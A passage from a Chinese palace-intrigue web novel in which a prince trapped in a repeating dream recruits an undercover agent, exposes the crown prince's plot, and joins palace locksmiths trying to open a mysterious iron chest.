昭明帝端坐在龙椅上,神情平静,对着来人挥了挥手。
“这件事,暂且封存吧。”
“退下吧。”
“是。”
厉斩秋恭敬行礼,退了出去。
“太子,朕对你的忍耐是有限度的……”
寂静的御书房内,响起了昭明帝的喃喃低语。
御书房外,听见里面动静的周昕阳,嘴角微微翘起,心想:父皇,你的退让,只会让太子变本加厉!
随后,周昕阳跟上了厉斩秋。
来到了宸察院。
一处坐落于皇宫西北方的一座宫苑。
宫苑外表,与寻常宫殿没有差别,来往的,也皆是看似寻常的宫女太监。
可周昕阳心里清楚,这里的恐怖!
在无数次梦境循环中,周昕阳只要被抓进这里,下场都是无比凄凉!
这是真正的噩梦!
各种刑具、各种闻所未闻的审讯手法,以及肉体、精神上的折磨。
周昕阳躲在暗处,观察着院落大门,并不打算进入。
宸察院,是周昕阳少数几个玩不转的地方。
哪怕他能扮演成宸察院密探,拿到对应的腰牌,也进入不了核心区。
甚至一靠近,就会被发现不对,然后被抓住。
宸察院等级森严,一步一关,从上至下,很多情报,都需要手令、足够的地位,才能查阅。
这点,周昕阳很难搞定。
他最高记录,就是在一天内,破解到千户权限。
可千户上面还有抚使,还有镇抚使,还有右提督使、左提督使,以及掌院学士。
再往上,不是周昕阳不想尝试,是当天宸察院根本没有更高身份的人,可以给他冒名顶替。
他总不可能去顶替厉斩秋吧?
“父皇的态度,也注定了如果太子没有谋逆,哪怕我捅出龙袍和玉玺,也很难让他下定决心对付太子。”
“可若是把东西都放到明面上,我的动机又很难解释。”
“我缺乏一个正当的理由啊!”
周昕阳有点头疼。
目前的死结在于……
昭明帝并不打算废太子,最起码目前他还是能容忍太子的一些行为。
而太子御道奔马后,周昕阳就已经没时间了。
那个时候,周昕阳相信昭明帝已经彻底失去耐心,打算废太子了。
可周昕阳等不到那个时候啊!
等到那个时候,铁箱剧情,又只剩下五分钟了。
“巫蛊之术。”
“只能用巫蛊之术。”
“才能让父皇提前下定决心,搜查东宫,取出铁箱。”
周昕阳思绪转动,这个问题,绕了一圈,又绕回来了。
“这件事,不能由我来说,只能由东宫密探来讲。”
“而且如
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果能确定太子与国舅长孙晟的密谋,这件事,也可以成为诱因,迫使父皇提前下手。”
“毕竟谋逆是底线。”
“什么都可以容忍。”
“可这件事不行!”
周昕阳对于昭明帝的心思,还是琢磨很透的。
现在的昭明帝,一方面,想要在最后这段时间,平稳度过,留下一个相对稳定的朝廷,这让他不敢随意废立太子,生怕导致基业不稳。
另一方面,他也对太子的所作所为,深感愤怒,心存芥蒂,所以,他把老二老三,放到了身边。
其实他并不是打算废立太子,只是为了给太子提个醒。
只要太子迷途知返,老二、老三就会重新返回封地。
只可惜,他的心思,太子理解错了,最终走了极端。
周昕阳是站在上帝视角,用结果来反推过程和想法,自然能把握准昭明帝和太子的心思。
可作为当事人,两人都对对方心怀不满,生怕自己失去权力。
这是一个不可调和的矛盾。
哪怕有个人告诉太子,昭明帝的心意。
太子也未必会信。
原因无他。
赌不起了!
筹码压得太多了。
他输不起!
万一呢?
万一昭明帝真有废立太子之心呢?
如果什么都不做,岂不是人为刀俎我为鱼肉?
“如果父皇能找太子说清楚,赦免太子私造龙袍、玉玺的大罪,太子就能明白父皇的心意。”
“只可惜,两人永远不可能交心。”
周昕阳一方面觉得何等悲哀,另一方面又觉得情有可原。
毕竟,君臣父子,自古以来就是如此。
太子没到正式登基,永远只是储君。
只要是储君,一切就都是能改的。
正在周昕阳思绪转动,思考着接下来对策的时候,宸察院大门开了。
一名太监,低着头,走了出来。
“嗯?”
周昕阳微微眯眼,大脑飞速转动,他也曾盯梢过厉斩秋,也曾来过宸察院。
“这个太监,在前几次轮回中,也是这个时间点出来的。”
“至于其他的太监、宫女,时间都对不上。”
“跟着他。”
“看下他会不会去东宫……”
第17章 密探燕惊鹊的震惊!
小太监疾步匆匆,开始在宫内游荡。
周昕阳远远吊着,始终保持着合适的距离,死死咬住对方。
跟宸察院的密探在皇宫斗智斗勇后,周昕阳的跟踪、反跟踪能力,也算是练出来了。
再加上对皇宫地图的熟悉……
想要跟住一个小太监,还不是手到擒来?
足足墨迹了半个时辰。
小太监来到了东宫附近的院落。
“果然!”
周昕阳嘴角勾起,人跟对了。
这个小太监果然就是传递情报的暗子。
“咚———咚咚。”
小太监走到一处侧门,有节奏的敲了敲。
下一刻——
侧门翻转。
露出一个小暗格。
小太监从怀中掏出一封密信,放进了暗格。
暗格再次翻转。
暗门闭合。
“原来是用这种方式传递情报的……”
周昕阳微微眯眼,悄无声息的爬过墙,贴在墙壁檐上,望着侧门的另一处。
只见一道身穿淡蓝色太监服饰的身影,快速消失。
他没有犹豫,直接跟了上去。
对方动作很快,几个跳跃,踩着墙壁的缝隙,借用大树树枝,跳入了东宫。
周昕阳轻车熟路,学着对方的动作,也跳了进去。
“你是什么人?”
唰!
周昕阳刚一落地。
布满寒光的软剑就搭上了他的肩膀,对准了脖颈。
“大虞泽川王·周昕阳。”
周昕阳神情不变,平静开口。
“你是泽川王?”此人脸色微变,手中软剑一抖,低喝道:“如何证明?”
周昕阳从袖口中,拿出一块令牌:“身为宸察院的密探,藩王令,你应该见过吧?”
一块金银混合打造的龙纹令牌,出现在他的眼前。
令牌之上,刻有九**纹、四爪、景秀山河、天地五行……等诸多图案,反面刻有“泽川”二字。
嘶!
宸察院密探神情凝重,一时间,他也不知道该如何处理了。
杀,肯定是不行!
杀藩王,他没这么大胆子!
放?
怎么放?
这里是东宫,万一被发现,他潜伏任务也别干了。
哪怕没被发现,周昕阳顺利离开了,他的身份也暴露了。
“是不是不知道该怎么处理?”
周昕阳微微一笑,“很纠结?”
“我给你一个建议。”
“王爷请说。”密探依旧手持宝剑,架在周昕阳的脖子上,丝毫没有放下来的意思。
“让孤猜一猜,厉斩秋应该让你继续收集太子谋逆的罪证,最好找到龙袍和玉玺,对吧?”周昕阳语气轻松的说道。
“王爷是听谁说的?”密探眼眸中闪过一丝杀气。
“当然是听厉斩秋说的,他跟父皇的禀告,我都听到了。”周昕阳淡淡回应,随后,伸出手将脖颈上的软剑缓缓推开,“你不敢杀我!”
“就别装模作样了。”
“你在想,该怎么处理我?”
“杀?”
“你不敢!”
“放!”
“你更不敢!”
“甚至你都不敢弄出太大的动静,不然你的小命可就没了。”
密探脸色阴沉,看着周昕阳:“王爷的表现,与传言中不符啊!”
“传言嘛!”
“自然不能尽信。”周昕阳语气淡漠,“不过,孤无意害你,甚至孤还能给你一个立功的机会。”
“王爷想说什么?”密探皱眉问道。
“孤可以送你两个情报,甚至可以当做没有见过你,帮你保守秘密,作为回报,孤也要你为我做一件事。”周昕阳沉声道。
“王爷,你究竟想干什么?”密探心头一跳,他总觉得周昕阳找到他,是有备而来的。
“不干什么。”
“对于你来说,如何处理我,是一件难事,如果不管我,一旦消息泄露,你也是死路一条。”
“所以,对你来说,最优解的选择,就是与我合作。”
“我们达成合作,对你百利无一害。”
周昕阳循循善诱,“首先,你解决了暴露的问题,也不用考虑如何处理我,其次,我能给你两个至关重要的情报,帮你提升在宸察院的地位。”
“最后,只要太子被解决,你就可以回去。”
“你也不用担心,孤会借机要挟。”
“可谓是一举三得。”
“孤想不到你拒绝的
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理由?”
密探深吸了一口气,叹息一声:“哎,王爷,不得不承认,你说服我了。”
“你说吧。”
“我该怎么做?”
“你叫什么名字?”周昕阳微微一笑,问道。
“我叫燕惊鹊。”燕惊鹊回答道。
“好。”周昕阳点了点头,“不错的名字。惊鹊,惊起枝头鸟鹊,你身手矫捷,倒也契合。”
“谢王爷夸奖。”燕惊鹊道。
“第一个情报,今夜太子将会打开午门,在御道之上,醉酒奔马……”周昕阳语不惊人死不休。
燕惊鹊脸色骤变:“王爷所说的情报,可是真的?”
“自然不会有假。”
“你若不信,你可以盯着东宫,太子与国舅长孙晟的密谋,肯定有证据。”
“我还没说完,醉酒御道奔马是假,国舅长孙晟在神武门兵变,谋逆夺门,才是你的大功。”周昕阳继续加磅,又说出了一个重磅消息。
“嘶!”
燕惊鹊惊得头皮发麻,脸色变化,如此重要,他潜伏多年,居然一点消息都不知道?
而周昕阳一个外地藩王,却了解得这么清楚?
这……
“王爷,这个消息,可有什么证据?”燕惊鹊压下心头起伏的情绪,低声问道。
“证据就要你自己来找了。”
“我建议是……先盯着太子,既然他打算这么做,肯定会有动作的。”周昕阳淡淡说道,
“谋逆这种事,不谋划一下,怎么可能呢?”
“好,我知道了。”燕惊鹊点了点头。
“第二个消息。”
“太子的寝宫有地下密室,里面放着一座铁箱,铁箱中藏有与巫蛊之术有关的东西。”周昕阳看着燕惊鹊,一字一句的说道。
“什么?”
燕惊鹊忍不住瞪大了眼睛。
一个醉酒御道奔马。
一个神武门兵变。
已经让燕惊鹊脑袋懵懵的了!
现在居然还来一个巫蛊之术?
太子这么不安分的吗?
不是!
三件事,自己怎么一件都不知道?
自己这个宸察院密探,是假的吧?
泽川王怎么什么都知道?
神机妙算是吧?
第18章 密信
看着燕惊鹊震惊的表情,周昕阳倒显得轻描淡写,摆了摆手:“情报,我已经告诉你了。”
“该怎么做,就看你自己的了。”
“不过,我要提醒你一下,你最好在晚宴前,通知宸察院,派人控制太子,拿出铁箱。”
“为什么?”燕惊鹊问道。
这些消息,他还打算查证之后,才做决定。
“还记得我刚刚说过的话吗?”
周昕阳看着燕惊鹊,“我说过,我给你立功的机会,免费给你提供两个重要的情报,并且为你保守秘密,但你也要为我做一件事。”
“我要你做的事情,就是提前暴露铁箱,想办法让宸察院的人,找能工巧匠,破解铁箱上的四把大锁。”
燕惊鹊微微蹙眉,他没想到周昕阳的要求,居然是这个?
“那个铁箱里面,真的放着巫蛊之术的东西吗?”
周昕阳点了点头:“嗯,里面的东西,是太子藏得最深的秘密。”
“再送了一个情报,别费劲找什么玉玺和龙袍了,东西根本不在东宫,早就转移走了。”
“三个情报,换帮我做这件事,你赚**。”
燕惊鹊想了想,最终同意了下来:“好吧,王爷,只要能确认今夜太子确实会谋逆,我就会立刻上报,让院里派人来。”
“希望你的情报,是准确的。”
“肯定准确,我们现在去盯着太子,他很快就会有动作……”周昕阳略有所指的说道。
按照上一次梦境,接下来,太子将会进入地下密室,到那时,燕惊鹊看见铁箱和密室后,自然会相信他之所言。
“好。”
见周昕阳如此笃定,燕惊鹊点了点头,将软剑收回腰间,带着周昕阳,朝着东宫后院而去。
两人刚刚靠近后院的一处房间,就听见了一个急切、厚重的声音。
“殿下,不能再等了。”
“再不动手,您的太子之位,恐怕就要被二皇子、三皇子夺走了。”
燕惊鹊瞳孔微微一缩,忍不住看向身旁的周昕阳。
周昕阳面色如常,似乎对此并不感到意外。
“孤可是太子。”
“父皇不会这么做的。”
“这太冒险了!”
“孤的东宫,一直被内缉司的人盯着。”
“没有机会的。”
“舅舅,哪怕孤成功了,这篡位弑君之名,孤也要背一辈子!”
太子周炳宸的声音响起。
国舅长孙晟?
密谋造·反?
燕惊鹊心头一跳,泽川王说的都是真的!
周昕阳看着对方,给了他一个眼神。
燕惊鹊会意,点了点头,有这些情报就够了。
他给周昕阳打了一个手势。
示意他要去通知宸察院的人。
让周昕阳先隐藏起来,别暴露了。
周昕阳回了一个明白的手势。
燕惊鹊一愣,露出惊讶之色,周昕阳居然会宸察院内部的交流手势?
还有什么东西,是他这位王爷不知道的?
见燕惊鹊还在发愣,周昕阳忍不住又打了一个手势(还不快走?)
燕惊鹊点了点头,小心翼翼的离去。
周昕阳听着长孙晟和太子周炳宸的密谋,算是和老六的情报对上了。
这也让周昕阳松了一口气。
毕竟如果这点也不同的话,那以后的梦境,可就真变成找不同了。
“这说明,我的判断没错。”
“唯一的问题,就是铁箱。”
“还有那个太子口中的老道士……”
周昕阳小心蛰伏起来。
思绪忍不住翻涌。
目前来说。
一切都对上了。
种种细节,都说明梦境与现实几乎一模一样,可就是没有老六所说的铁箱。
这说明,周昕阳一直以来找寻的方向,是正确的。
铁箱或许就是解开梦境谜题的钥匙。
“虽然不确定今天能不能打开铁箱,不过只要路子走顺了,明天、后天肯定能把箱子打开……”
“一步步优化就好。”
周昕阳目前的局势其实很不妙。
梦境进度比较缓慢。
而现实世界也出了乱子。
一旦昭明帝真的突然暴毙,无论是老二灵前继位,还是老三灵前继位,等待他的,将会是诡谲云涌的朝政风波。
其实跟老六合作,也并非是
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最优解的选择。
他和老六的兵权加在一起,说实话,也翻不起什么风浪。
大虞的兵马,最雄壮的,就是宸极城的京都五营,其次就是四大藩王的边军。
至于内陆·四王的兵马,说实话,很一般,实战机会很少,士卒缺少血性。
所以,对于周昕阳来说。
想要自保,无非两种,一个交出兵权,任人宰割,成为阶下囚,另一个拒绝交兵权,想办法联合老六以及其他藩王,划地自治。
前者,终身囹圄,没有自由,看人家心情过活。
后者,有可能成功,也有可能兵败身死。
“现实的困难,必须想办法利用梦境来解决。”
“可以尝试通过梦境角色的接触,了解老六、父皇、太子、老二、老三等人的想法,这有助于我做出更加正确的判断。”
“不过想要在一天内,获取他们的信任,也不容易啊!”
周昕阳默默摇头。
一边要解决铁箱的问题,一边要刷好感、弄懂他们的心思。
头疼啊!
“枝丫”一声,房门被推开。
一名身穿太监服饰,满头银发,脸上尽是沟壑和褶皱的老太监走了出来。
左右张望一番后。
快步离去。
周昕阳认出了此人。
国舅长孙晟。
片刻之后,太子周炳宸走了出来,朝着寝宫走去。
见状,周昕阳没有犹豫,悄然跟了上去。
……
宸察院。
“报!”
“甲一,有紧要情报。”
一名太监怀揣密信,疾步冲入院落最深处。
此刻,在最深处的房间内,有三道身影,相对而坐,成天地人三才位置。
位于最中心的天位者,开口了。
“拿过来。”
“是。”
太监恭敬从怀中掏出密信,递给对方。
来人看完密信内容,猛然站起身,“厉斩秋,他是你的人,跟我走一趟吧。”
“我们去御书房。”
“是。”厉斩秋一惊,连忙站起身来,跟了上去。
坐在地位上的那道身影,看着这一幕,若有所思。
第19章 骂?也算时间呦!
“大人,发生什么事情了?”
厉斩秋跟在身后,忍不住低声询问。
“甲一,这个代号,是你的人。”
“这次就是他传递回来的情报。”
“不过由于他传递回来的情报,事关重大,所以我们要直接去向陛下汇报。”
“不止我要去,你也要去。”
说话之人,正是宸察院·掌院学士萧景琰。
宸察院的实际掌控者,皇权特许,御前行走,被称为大虞的夜。
话罢,萧景琰将手中的密信,递给了厉斩秋。
“看看吧。”
“你的人传递回来的消息。”
“想一想,等等怎么跟陛下解释。”
“是。”厉斩秋接过密信,看着上面的内容,脸色变了变,“大人,这个情报,要不要核实一下?”
“核实?”萧景琰语气淡漠,“怎么核实?”
“是去找哪位核实?”
“还是去抓捕国舅爷?”
“这……”厉斩秋顿时语塞。
是啊!
无论是太子,还是国舅都动不得!
现在时局的微妙,他们身为宸察院的人,最清楚不过。
太子哪怕失势,也不是他们这些做臣下可以乱来的。
只有陛下发话,他们才敢有动作。
“面见圣上吧。”
“今夜恐怕不会平静。”
萧景琰望着即将落山的夕阳,淡淡说道。
厉斩秋听出了对方话语中的意思,“今夜恐怕会起风……”
……
太子寝宫,地下密室。
“你……老九,你怎么会在这里?”
“快!”
“快把剑放下!”
“你要做什么?”
“你疯了不成?”
太子周炳宸披头散发,额头上鲜血直流,但他顾不得止血,一个劲的往后爬,惊恐的看着眼前拿着自己宝剑的周昕阳。
周昕阳提着宝剑,脸上挂着淡淡的笑意,“大哥,我们又见面了。”
“老九,冷静。”
“千万要冷静,有什么事情,我们慢慢说。”
“千万不要走到违法犯罪的道路上!”
“天子犯法,与庶民同罪!”
“大哥我是太子也不例外,你身为藩王,更要遵守律法,千万要冷静,不要冲动!”
周炳宸脸上勉强挤出一丝笑容,不停安抚着周昕阳的情绪。
“大哥,太子爷!”
“你放心,你的九弟很冷静。”
“不会冲动的。”
周昕阳提着剑,一步一步缓缓靠近对方,“不过呢……九弟有一些问题,想要请教大哥,还望大哥不吝赐教。”
“没问题,没问题的,九弟,大哥肯定不隐瞒,你别过来,你就在那里问吧!”周炳宸眼中尽是恐惧,不停摆手,让周昕阳就此止步,别再靠近了。
“好吧!”
“既然太子爷发话了,那小弟就先听一听吧。”
周昕阳停下脚步,剑指着不远处的铁箱,开口问道:“太子爷,说说吧,那个铁箱是什么东西?”
“铁箱?”
提起铁箱,周炳宸稍微放松一点心弦,再次紧绷。
“九……九弟啊!”
“你问这个做什么?”
“嘶……”
周炳宸捂住头,忍不住嘶了一声,好痛!
就在刚刚进入地下密室的时候,周昕阳不知从哪个角落里冒出来,拿着石头,就给他一脑门。
爆头!
周炳宸头一晕,手里的宝剑,就被他夺走了。
于是就有了刚刚发生的这一幕。
周炳宸简直是莫名其妙!
老九为什么会在这里?
他不是在宫里吗?
“大哥,我问你什么,你就回答什么,不要浪费时间好吗?”
周昕阳说着,又向前走了两步。
“停停停!”
“我说!”
“你别靠近我。”
周炳宸急了,忍不住又往后爬了几步。
他算是怕了!
他怕老九又发疯了!
是的。
直到现在,周炳宸还是认为周昕阳是癔症发作。
毕竟,换做任何一个脑子没问题的人,都干不出偷袭太子,给太子来一个脑瓜崩的事情!
“老九,这个铁箱,是你大哥我用来藏一些小秘密的……”周炳宸小心翼翼的观察着周昕阳的表情。
“是什么样的小秘密啊?”周昕阳脸上依旧挂着和善的笑容。
“这个……”周炳宸迟疑了。
“哎!”
“大哥啊,我的耐心是有限的。”
周昕阳脸上的笑容消失,“既然你不说,那做弟弟的,只能帮你回忆一下往事了。”
“大哥,你去过宸察院没有?”
“我去那种地方做什么?你什么意思?”周炳宸忍不住咽了一口吐沫,脸色有些苍白。
“那可是一个好地方啊!”
“里面有很多稀奇古怪的酷刑,不少东西,你听都没听过,其中就有一种叫做千刀万
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剐的酷刑,讲的是在不伤害性命的情况下,如何一片一片的把人的肉片下来……”
“大哥应该吃过肉片的,差不多就是那种感觉了。”
“薄如蝉翼。”
“嗯,味道好极了。”
说到这里,周昕阳露出陶醉的表情,嘴角缓缓勾起一丝弧度,像极了一个病态**狂。
“疯了!”
“庸医!”
“真特么的庸医!”
“这叫做治好了?”
“等本宫出去之后,一定把你们这些庸医的脑袋统统都砍了!”
“艹!”
周炳宸崩溃了。
直接破口大骂!
到底是哪个庸医说……周昕阳的癔症好了?
啊!
站出来!
老子不把你给砍了!
老子就不是太子!
“太子爷,骂,也算是时间呦!”
“我再给你一圈怀表的时间,再不回答弟弟的话,就别怪弟弟心狠了。”
周昕阳掏出自己随身携带的怀表,轻轻转动上面的闹钟。
很快,怀表嘀嗒、嘀嗒的时间流逝声音响起。
秒针每一秒的走动,都仿佛一把利刃,插入了太子的胸口。
让他脸色越来越难看。
这简直是世界上最恐怖的刑法!
强烈的心理压力,让周炳宸有些喘不过气来了!
“呼呼呼……”
周炳宸大口大口的喘气,眼睛不自觉瞪大,看着时间越来越少。
终于——
周炳宸彻底扛不住了。
“我说。”
“我通通都告诉你。”
“这个铁箱是一个老道士给我的……”
接下来,彻底崩溃的周炳宸,犹如竹筒倒豆子一般,将上一次梦境中所说过的话,大同小异的重新讲了一遍。
周昕阳认真听着,在大脑中,不断核对着与上一次梦境中内容的区别。
足足过一炷香。
周炳宸才彻底停了下来。
周昕阳经过比对,发现两次的话,基本上没什么出入。
证明,上一次梦境中的太子,并没有说谎。
“九弟,这些话都是真的。”
“我没有骗你。”
“真的!”
“你要相信我啊!”
周炳宸见对方不说话,连忙辩解。
“太子说的话,你都听见了?”
周昕阳并未理会周炳宸,而是看向身后的阴影处。
“嗯,我都听见了。”
燕惊鹊从阴影中,走了出来。
第20章 太子被捕
“你!”
“你是什么人?”
周炳宸看到突然出现的燕惊鹊,吓了一跳。
“参见殿下,臣乃内缉司密探,代号惊鹊。”燕惊鹊行了一礼。
完了!
周炳宸一屁股坐到地上,脸色难看到了极点。
巫蛊之术的事情,被宸察院的密探知道了?
这还了得?
他还有命活吗?
“老九!”
周炳宸死死盯着周昕阳,咆哮出声:“你是要毁了我吗?”
“你居然跟宸察院的人勾结?”
“我怎么得罪你了?”
“你要这么针对我?”
“啊!”
周昕阳看着无能狂怒的太子,慢悠悠的开口:“大哥,不是我要对你怎么样?”
“人要学会反省,更要学会自省。”
“命运从来都掌握在自己手里。”
“是你的选择,造就了现在的自己。”
“而不是我在害你。”
“成王败寇,你败了。”
听闻此话,周炳宸不知从哪里来的力气,朝着周昕阳冲了过去:“我没有!只要杀了你们,孤还是太子,孤还是储君……”
周炳宸动作快,燕惊鹊动作更快!
一个抬脚,就把周炳宸踹飞。
随后,擒拿手,直接将周炳宸按倒。
“放开我。”
“你放开我!”
周炳宸拼命挣扎,可惜燕惊鹊的手法很老道,根本没有丝毫挣脱的空间。
“孤是太子,你帮孤杀了老九,孤上位之后,让你当宸察院的掌院学士!”
“哪怕你把孤抓住了,这些功劳,你顶多升到千户或者镇抚使,可放了孤,跟孤合作。”
“你就是未来宸察院的天!”
“这笔账,你不会算吗?”
周炳宸见挣脱不了,连忙开口蛊惑。
“殿下,老实一点吧。”
“有什么话,等去了宗人府。”
“你跟宗人令慢慢说。”
燕惊鹊低声道。
“来不及了!太子爷!”
“消息已经传回了宸察院,马上就有人来查封东宫。”
“你还是好好想一想,怎么跟父皇解释吧!”周昕阳淡淡说道。
“什么?”
周炳宸顿时面如死灰。
一个时辰后,东宫被禁军团团围住,宸察院掌院学士萧景琰亲自出马,将太子送去了宗人府,接管了整个东宫。
一草一木,不动分毫。
任何人严格控制,不能走动,不能出声。
铁箱,摆在原位。
周昕阳、燕惊鹊被分别关在东宫的两个房间。
“王爷,您能解释一下,您为什么会出现在东宫?”
“又为什么会知道这么多的事情?”
“您最好如实回答,不要为难小人。”
审讯之人,穿着灰褐色劲装,脸戴面罩,只露出双眼,打着蜡烛,透着烛光,盯着周昕阳。
另一边,有个记录员,同样戴着面罩,手拿墨笔,面前铺着宣纸。
“我想见父皇。”周昕阳看着来人。
“这是我唯一的诉求。”
“父皇出现之前,我一句话都不会说的。”
“当然,你们也可以用刑,随便你们。”
记录员奋笔疾书,将周昕阳的话记录下来。
……
另一边,燕惊鹊同样遭受审讯。
“说吧。”
“究竟发生了什么事情?”
内缉司掌案千户·铁铉拿着各种刑具,摆在燕惊鹊面前,“我的手段,你是清楚的。”
“在这里,没有秘密。”
“大人,是这样的……”燕惊鹊开始讲述事情的经过。
随后,房间内,时不时传出燕惊鹊凄厉的惨叫声。
半个时辰后,铁铉拿着沾染着血迹的宣纸,来到了东宫大殿。
“掌院大人,这是燕惊鹊招供的内容。”
铁铉恭敬的将宣纸递给了萧景琰。
萧景琰看着宣纸上的血渍,“毕竟是宸察院的英雄,铁铉,你的手段还是过于严厉了。”
铁铉低头:“是,掌院大人。”
“这么说,一切都是泽川王主导的?”萧景琰看完上面的内容后,淡淡问道。
“是的。”铁铉点头,“没有人能扛过我的酷刑。”
“嗯。”萧景琰轻嗯一声,看向不远处的厉斩秋,“泽川王还是什么也不肯说吗?”
厉斩秋回应:“是的,掌院大人,泽川王一定要见陛下。”
“他什么也不肯说,我们也不敢乱用刑。”
“好。”萧景琰微微颔首,“我去面见陛
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下,你们看好他们。”
“是。”两人行礼。
又过了半个时辰。
昭明帝来到了东宫。
“小老九人呢?”
“回陛下,在西侧的小间。”萧景琰低声道。
“嗯,带朕过去吧。”昭明帝面无表情。
“是。”
萧景琰带着昭明帝来到房间门外。
“在这里候着吧。”
昭明帝淡漠吩咐。
“是。”萧景琰行礼。
昭明帝推开房门,独自走了进去。
“小老九,朕来了,有什么话,就说吧。”
昭明帝看着被五花大绑的周昕阳。
周昕阳抬起头,看向昭明帝:“父皇,你终于来了。”
“孩儿,等你好久了。”
“说吧,给朕解释一下。”昭明帝开口道。
“父皇,儿臣也碰见过那个老道士,看他仙风道骨,本想让他给我算一卦,谁料话还没说出口,他就说我有癔症,常年困于梦魇,想要救治,就必须来东宫,打开铁箱……”
周昕阳解释道。
昭明帝看着周昕阳:“所以,那个老道士用巫蛊之术欺骗太子,又用解开梦魇之症来引导你前来东宫?”
“小老九,你的说辞可不太高明啊!”
“父皇,但这就是真的。”周昕阳看着昭明帝,认真的说道:“没有人,比我更想打开铁箱。”
“只要打开铁箱,一切就真相大白了。”
“除此之外,你还想说什么?”昭明帝表情没有波动。
“父皇,让我参与打开铁箱吧!”
“为了打开铁箱,我特意去学习了开锁技术,能帮上忙的。您可以让人盯着我,有任何异常举动,都可以立刻停止……”周昕阳表情很认真、很执着。
昭明帝看着他的眼神,不得不承认,这个眼神中的情绪是做不了假的。
周昕阳是真的想打开箱子!
或许,小老九所说的,是真的。
也或许,他的癔症太严重了,现在有这么个希望,才让他铤而走险,不惜伤害太子……
想起周昕阳这些年的经历,昭明帝最终还是心软了。
“小老九,想办法证明自己吧。”
“朕会让宸察院的人,盯着你。”
“别辜负了朕的信任。”
第21章 笨方法
入夜,东宫的某处偏殿。
皇宫内的一众能工巧匠齐聚。
周昕阳戴着面罩,站在其中。
众人一言不发,他们的目光不约而同的看向摆放在大殿正中央的黑色铁箱。
铁箱漆黑如墨,看上去极为沉重,四层大锁,从里到外,将铁箱封锁得严严实实……横式长方体广锁、象征长寿与官运的龟锁、篆刻轮转机关的汉字密码锁、铁链交织的机关铜锁。
在房间的四个角落,分别站着四个黑衣人,他们手持宝剑,腰间都别着宸察院的腰牌。
“终于走到这一步了。”
“比预想中还要顺利。”
周昕阳看着铁箱,不由心潮澎湃。
这一次入梦的进度,虽说从头到尾,耽搁了不少时间,可效果显著!
前面的步骤不算,从找到密探燕惊鹊开始——
周昕阳完成了几件大事。
其一,获取燕惊鹊信任。
其二,提前捅破太子忤逆的阴谋。
其三,跟踪太子周炳宸,进入地下密室,找到铁箱,并迫使太子说出巫蛊之术的事情。
其四,用老道士的情报,哄骗昭明帝,参与破解铁箱锁链,并招来皇宫内的能工巧匠配合。
一系列操作,几乎已经拉满了。
“现在已经是戌时了,虽然怀表被搜走了,不知道具体时间。”
“不过大致的时间,还是能推算出来的。”
“距离梦境结束时间,只剩下一个时辰左右了。”
“时间有点紧张。”
“不过也够了。”
周昕阳思绪转动。
虽然时间依旧不宽裕,可他已经很心满意足了。
“能走到这一步,就够了,接下来,无非就是卡死这一个时辰,多弄几天,总能把铁箱打开。”
周昕阳盯着铁箱,目光灼灼。
正在这时,一道戴着暗金色面具的身影,走到众人身前:
“诸位师傅,多余的话,我就不说了。”
“按照陛下的命令,请诸位在最短的时间内,打开铁箱。”
“开始吧。”
那道身影让开了位置。
众师傅们面面相觑,谁也没有贸然上前。
枪打出头鸟的道理。
他们还是清楚的。
他们不敢上,周昕阳却是百无禁忌,他从身旁师傅的身上,摸走一根铁丝,大步走到铁箱前,坐了下来,开始捣鼓。
嗯?
这一幕,让在场师傅们微微一惊。
他们还来不及惊讶,咔嚓声就响起。
横式长方体广锁,应声而开。
周昕阳随手将打开的广锁,丢到一旁。
继续开第二把锁。
整个动作,行云流水,没有丝毫的停顿。
不少皇宫的老锁匠都被周昕阳的动作吓到了!
“这未免也太快了吧?”
“不可思议!”
“虽然广锁的开锁工艺不复杂,但想要对准锁芯和卡扣,也要摸索一下吧?”
“动作太娴熟了,这个人是谁?怎么没见过啊?”
……
就在皇宫锁匠们议论之时。
又一声咔嚓响起。
龟锁也被打开了。
丢到了地面上。
“你们还要叽叽歪歪多久?”
“还不过来开锁?”
“接下来这个七转汉字密码锁,上面各种文字,你们过来研究一下……”
“你去拿点纸张和墨笔过来,还有我的工具包。”
周昕阳转头看向面具男,毫不客气的招呼。
这一动作,让不少锁匠师傅心惊肉跳,忍不住擦了擦额头上的汗水。
他们可是知道这些人身份的。
宸察院!
面具男看着周昕阳,最终点了点头:“好。”
片刻之后,周昕阳的工具包,被送了过来。
其中还有他的怀表。
周昕阳看了一眼上面的时间:【20:30】
周昕阳将七转汉字密码锁上的文字,尽数撰写下来后,就走到了一旁,将位置让了出来。
很快,就有皇家工匠上去尝试开锁……
周昕阳反而坐在一旁,观察着工匠们的举动。
在上一轮梦境中,他已经做过各种尝试,但无一例外,都失败了。
周昕阳虽然通过梦境学会了很多技能,身体素质也远超一般士卒,可这种专精的行当,他也顶多算是入门。
专业的事情,交给专业的人。
周昕阳相信如果连皇宫内的能工巧匠都没办法,那只能用**来炸了!
就是怕会破
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坏里面的东西……
“上面的材质很特殊。”
“刀砍不坏,火烧不化,估计要进高温熔炉才行。”
“可这样一来,铁箱里面的东西,估计就保不住了。”
锁匠们交头接耳,窃窃私语。
皇家能工巧匠们采用了很多方法。
透光凹槽法、触感反馈法、暴力拆解法……还有一些周昕阳都一知半解的破解手法。
只可惜,七转密码锁依旧纹丝不动,不管怎么敲,怎么撬,始终没有反应。
这一幕,周昕阳看在眼里。
其实也在他的预料之中。
七转密码锁并不好开,主要是这些锁的材质都很特殊,刀砍火烧都没反应,总不可能真拿火炉里面去融吧?
极端手段,永远只能是最后一步。
“既然没有方法破解,那就用最笨的方法来开锁。”
“拼组合。”
正在这时,一个锁匠,突然站了起来。
嗯?
周昕阳一愣,你说笨方法,没让你这么笨啊!
那名锁匠语速飞快:“假设六个字固定,剩下一个转轮,转七次,这就是七个组合。”
“调整一次,又是七个组合。”
“我刚刚计算过了,完全不重复的排列组合,共有五千零四十种,只要逐一尝试,就一定能打开。”
我靠!
周昕阳心里爆粗口。
你是锁匠,还是算账的?
这么会算,你来当什么锁匠?
这个破解……不,这已经不是简单的破解法了,这就是堆时间,运气好,可能一两千种就能破解开,运气不好,可能三四千种打开。
运气背到极致……五千零四十种。
“你们都是皇宫内最顶级的能工巧匠,最终弄一个这么蠢的方法?”
面具男也被这个方法给气笑了。
这特么也叫开锁?
全部都是尝试一遍,那还要你们这些人干什么?
是人都能开好吧!!
“大人,这是最稳妥的方法。”
“当然,可以多线并行,尝试其他方法,但可以安排一个人,用笨方法破解,这样最节约时间。”
那名锁匠认真的说道。
“你叫什么名字?”
面具男问道。
第22章 锁匠公孙启
“公孙启。”
锁匠回答道。
“很好,这也是你们的想法?”
